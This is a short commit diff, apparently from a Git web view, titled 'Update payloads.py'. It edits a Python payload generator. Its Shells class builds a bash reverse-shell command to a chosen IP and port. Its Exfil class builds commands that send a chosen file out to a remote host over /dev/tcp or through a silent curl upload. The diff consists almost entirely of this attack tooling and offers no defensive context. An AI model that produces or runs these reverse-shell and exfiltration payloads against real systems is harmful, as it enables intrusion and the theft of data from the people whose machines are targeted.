Update payloads.py
parent
fc2f1dd6af
commit
d8bce8e3d8
|
@ -4,7 +4,9 @@ class Shells:
|
||||||
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
|
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
|
||||||
class Exfil:
|
class Exfil:
|
||||||
def socket(ip,port,file):
|
def socket(ip,port,file):
|
||||||
return f"cat {file} >& /dev/tcp/{ip}/{port} &"
|
return f"cat {file} | /dev/tcp/{ip}/{port} &"
|
||||||
def pflask(ip, port, file):
|
def pflask(ip, port, file):
|
||||||
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "
|
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue